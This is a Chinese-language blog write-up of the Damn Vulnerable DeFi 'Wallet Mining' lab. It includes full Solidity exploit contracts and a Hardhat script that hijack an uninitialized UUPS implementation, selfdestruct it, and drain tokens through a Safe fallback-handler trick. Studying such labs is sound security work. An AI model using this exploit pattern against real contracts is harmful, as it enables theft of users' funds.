Defi安全挑战系列-Damn Vulnerable DeFi(#13 Wallet Mining)
July 4th, 2023

有一个合约激励用户部署Gnosis Safe钱包,并奖励他们1个DVT代币。它与可升级的授权机制集成。这样可以确保只有被允许的部署者(也称为照管人)才会因特定的部署而获得报酬。需要注意的是,系统的某些部分已经被匿名CT大师高度优化。

部署者合约只能与官方的Gnosis Safe工厂合约(地址为0x76E2cFc1F5Fa8F6a5b3fC4c8F4788F0116861F9B)和相应的主合约(地址为0x34CfAC646f301356fAa8B21e94227e3583Fe3F5F)配合使用。不过不清楚它应该如何工作——这些合约尚未在该链上部署。

与此同时,似乎有人将2000万个DVT代币转移到了地址0x9b6fb606a9f5789444c17768c6dfcf2f83563801。这个地址已经被授权合约的一个照管人使用。奇怪的是,因为这个地址也是空的。

通过获取钱包部署者合约持有的所有代币来完成挑战。哦,还有那2000万个DVT代币。

分析合约

其实这次挑战的背景是在22年6月份$OP被盗有关。下面这篇把背景知识和结果分析不错的文章:

为了从本地区块链上重现0x9b6fb606a9f5789444c17768c6dfcf2f83563801地址。我们只需要重现这个地址的创建流程,这是以太坊区块链浏览器上的记录。 目标地址是通过ProxyFactory产生的。而ProxyFactory是Safe: Deployer 3 0x1aa7451DD11b8cb16AC089ED7fE05eFa00100A6A创建的。按区块链上的的记录第一笔创建Create: GnosisSafe钱包逻辑合约,第二笔其实随意(保证none累加即可),第三笔创建Create: ProxyFactory代理工厂合约。然后在ProxyFactory连续创建43次就可以创建目标地址的合约了。

题目中要求使用WalletDeployer.sol的drop方法创建钱包,在drop创建的逻辑中有个调用can的断言逻辑。can中是assembly代码。

第1句中的sload(0),其实是mom变量才使用了插槽。因为合约前面的变量要么是constant(固定值直接写死在代码中),要么是immutable(构造函数中确认了值写死在代码中)。

第5句中的0x4538c4eb其实是AuthorizerUpgradeable.sol中的can(address, address) 的函数选择器字符串,这里是为下面staticcall调用传参准备的。

第8句就是使用staticcall调用AuthorizerUpgradeable.sol中的can(address, address) 方法。

回头看can中的断言逻辑在部署的时候就设置了固定值,攻击者无法通过断言。观察发现AuthorizerUpgradeable.sol使用了UUPS模式,如果想办法更换实现逻辑合约地址呢? AuthorizerUpgradea在部署的时候调用init方法,init方法中的__Ownable_init()逻辑设置了调用中获取所有权,init方法中使用了initializer修饰器只允许调用一次,好像这样也行不通。

为了通过WalletDeployer.sol中的can断言,其实解决方案是,AuthorizerUpgradeable.sol使用了UUPS模式,所以可以通过UUPS源码中的_IMPLEMENTATION_SLOT的slot中找到0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc的逻辑合约地址。找到逻辑合约地址后通过调用AuthorizerUpgradeable.sol,init方法获得所有权,前面为什么说不可以再调用init,这里又可以呢?因为前面的initializer修饰器的状态其实保存在UUPS代理合约中,而逻辑合约中的状态是最初的,所以可正常执行。获得所有权后可以调用upgradeToAndCall( address imp, bytes memory wat)方法。新的逻辑地址内容是selfdestruct(payable(address(0))); wat参数是通过delegatecall 方式调用的,这样就把新的AuthorizerUpgradeable.sol逻辑合约地址摧毁了,也可以通过AuthorizerUpgradeable.sol中的can 中断言了。

使用WalletDeployer.sol的drop方法创建钱包,参数setup(address[],uint256,address,bytes,address,address,uint256,address) 中的第5个参数是地址类型,也就是fallbackHandler,代码在这里 这个参数代表当被调用的方法没有匹配的时候会触发fallback()方法,在该方法的逻辑是fallbackHandler.call 代码在这里。所以我们可以传递该参数为token的地址,这样可以直接调用IERC20(depositAddress).transfer(msg.sender,token.balanceOf(depositAddress) 转移题目中2000万个DVT代币。

为什么要分三个智能合约完成挑战呢?
因为执行selfdestruct(payable(address(0)));自销毁要等交易完成后才能生效了

解决方案

创建AuthorizerUpgradeableWithUpgradeToAndCall.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {AuthorizerUpgradeable} from "./AuthorizerUpgradeable.sol";
import "./Killme.sol";

/**
 * @title AuthorizerUpgradeable
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
//is UUPSUpgradeable
contract AuthorizerUpgradeableWithUpgradeToAndCall {
    AuthorizerUpgradeable public authorizerUpgradeableImplementation;

    constructor(address authorizerUpgradeableImplementationAddress) {
        authorizerUpgradeableImplementation = AuthorizerUpgradeable(
            authorizerUpgradeableImplementationAddress
        );
        upgradeToAndCallWithKillme();
    }

    function upgradeToAndCallWithKillme() public {
        address[] memory wards = new address[](0);
        authorizerUpgradeableImplementation.init(wards, wards);

        Killme killme = new Killme();

        authorizerUpgradeableImplementation.upgradeToAndCall(
            address(killme),
            abi.encodeWithSignature("killme()")
        );
    }
}

创建Killme.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/**
 * @title AuthorizerUpgradeable
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
//is UUPSUpgradeable
contract Killme {
    function killme() public {
        selfdestruct(payable(address(0)));
    }

    function proxiableUUID() external view returns (bytes32) {
        return
            0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    }
}

创建AttackWalletMining.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "hardhat/console.sol";
import {AuthorizerUpgradeable} from "./AuthorizerUpgradeable.sol";
import {WalletDeployer} from "./WalletDeployer.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract AttackWalletMining {
    WalletDeployer public walletDeployer;
    address public depositAddress;
    IERC20 public token;
    address fakeAuthorizerUpgradeableAddress;

    constructor(
        address walletDeployerAddress,
        address _depositAddress,
        address tokenAddress
    ) {
        walletDeployer = WalletDeployer(walletDeployerAddress);
        depositAddress = _depositAddress;
        token = IERC20(tokenAddress);
    }

    function attack() public {
        address[] memory _owners = new address[](1);
        _owners[0] = msg.sender;

        bytes memory setupData = abi.encodeWithSignature(
            "setup(address[],uint256,address,bytes,address,address,uint256,address)",
            _owners,
            1,
            address(0),
            0,
            address(token), //fallbackHandler 如果safe wallet没有被调用的方法,那么尝试调用这个地址
            address(0),
            0,
            address(0)
        );

        for (uint256 index = 0; index < 100; ) {
            address walletAddress = walletDeployer.drop(setupData);
            if (walletAddress == depositAddress) {
                break;
            }

            unchecked {
                index++;
            }
        }
        token.transfer(msg.sender, token.balanceOf(address(this)));

        //safe wallet没有transfer方法,那么就会触发fallback(),fallback()方法中实现了fallbackHandler.call逻辑,因为在setup设置了fallbackHandler的地址是token address,所以实际调用的就是tokenAddress.transfer方法。
        IERC20(depositAddress).transfer(
            msg.sender,
            token.balanceOf(depositAddress)
        );
    }
}

wallet-mining.challenge.js

    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */

        //给Safe: Deployer 3地址转账1ETH作为gas,不然下面3笔交易因为没有gas导致失败
        await player.sendTransaction({
            from: player.address,
            to: "0x1aa7451DD11b8cb16AC089ED7fE05eFa00100A6A",
            value: ethers.utils.parseEther("1"),
        });

        await (await ethers.provider.sendTransaction(DEPLOY_SAFE_TX)).wait(); //https://etherscan.io/getRawTx?tx=0x06d2fa464546e99d2147e1fc997ddb624cec9c8c5e25a050cc381ee8a384eed3
        await (await ethers.provider.sendTransaction(DEPLOY_UPGRADE_TX)).wait(); //https://etherscan.io/getRawTx?tx=0x31ae8a26075d0f18b81d3abe2ad8aeca8816c97aff87728f2b10af0241e9b3d4
        await (await ethers.provider.sendTransaction(DEPLOY_FACTORY_TX)).wait(); //https://etherscan.io/getRawTx?tx=0x75a42f240d229518979199f56cd7c82e4fc1f1a20ad9a4864c635354b4a34261

        const impSlot = "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc"; //这是UUPS合约中执行合约地址的slot插槽  具体看UUPS合约代码吧
        let implementationAddress = "0x" + (await ethers.provider.getStorageAt(authorizer.address, impSlot)).slice(-40); //组装地址

        const authorizerUpgradeableWithUpgradeToAndCallFoctroy = await ethers.getContractFactory("AuthorizerUpgradeableWithUpgradeToAndCall", player);
        await authorizerUpgradeableWithUpgradeToAndCallFoctroy.deploy(implementationAddress);

        const attackFoctory = await ethers.getContractFactory("AttackWalletMining", player);
        const attackContact = await attackFoctory.deploy(
            walletDeployer.address,
            DEPOSIT_ADDRESS,
            token.address
        );
        attackContact.connect(player).attack()
    });
Subscribe to skye
Receive the latest updates directly to your inbox.
Mint this entry as an NFT to add it to your collection.
Verification
This entry has been permanently stored onchain and signed by its creator.
More from skye

Skeleton

Skeleton

Skeleton